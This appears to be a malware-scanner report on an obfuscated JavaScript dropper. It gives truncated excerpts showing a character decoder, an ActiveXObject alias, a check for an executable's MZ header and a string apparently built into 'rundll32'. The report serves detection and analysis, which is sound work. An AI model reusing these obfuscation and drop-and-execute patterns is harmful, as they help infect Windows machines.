Suspicious 66% javascript-malware-collection Download

20161221_44598180066b9d144a383fec8bd9b066.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-256e5ef6989a50565963d3f792fa61e91f70f918bb8792d1158745d7eb3ebe824f2

Evidence

Hex arithmetic in string operations lines 2–14
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikbeijingFROG2XCOP = 0;
9 var SupchikbeijingRazlomSS, SupchikbeijingFROG2ddDccC2, SupchikbeijingFROG2c3, SupchikbeijingFROG2c4;
10
11 var SupchikbeijingFROG2out = "";
12
13 var SupchikbeijingFROG2Supchikbeijingka= this.replace(/FROSTICK/gi, SupchikbeijingFROG2out);
14 var SupchikbeijingFROG2len = SupchikbeijingFROG2sud(Su …
charCodeAt() method call lines 18–20
18 var Supchikbeijingkoch = SupchikbeijingFROG2Supchikbeijingka.charCodeAt(SupchikbeijingFROG2XCOP++) &(0x132- 0x33);
19 SupchikbeijingRazlomSS = levitron[Supchikbeijingkoch];
20 } while (SupchikbeijingFROG2XCOP < Supchikbeijin …
Builds characters with String.fromCharCode lines 27–30
27:39… +1== 0)
28 break;
29 SupchikbeijingFROG2out += String['fromCharCode']((SupchikbeijingRazlomSS << 2) | ((SupchikbeijingFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikbeijingFROG2c3 = Supchikbe …
ActiveXObject via local alias lines 185–188
185:16… jingFROG2d2=SupchikbeijingFROG2DoUtra.pop();
186SupchikbeijingFROG2fabled="Valar2Morgulis";
187 var SupchikbeijingFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikbeijingFROG2d2.split("45");SupchikbeijingFROG2Native.SupchikbeijingFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikbeijingFROG2$type(a)===b})}; …
Checks array for PE magic bytes lines 257–264
257:72… gTalabaev);
258 if(SupchikbeijingTalabaevLaa < 29989)return false;
259 if (SupchikbeijingTalabaev[0]!= 77 || SupchikbeijingTalabaev[1]!= 90)return false;
260 SupchikbeijingFROG2CHICKA = SupchikbeijingFROG2CHICKA + SupchikbeijingFROG2SIDRENKOV;
261 REBEKK2(SupchikbeijingFROG2CHICKA, SupchikbeijingTalabaev );
262
263 var SupchikbeijingFROG2ddsSSddSd = ",happy";
264SupchikbeijingFROG2ddsSSddSd = (SupchikbeijingFROG2StrokaParam2,"undl") + (SupchikbeijingFROG2StrokaParam2,"l32 ") + Supchikb …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.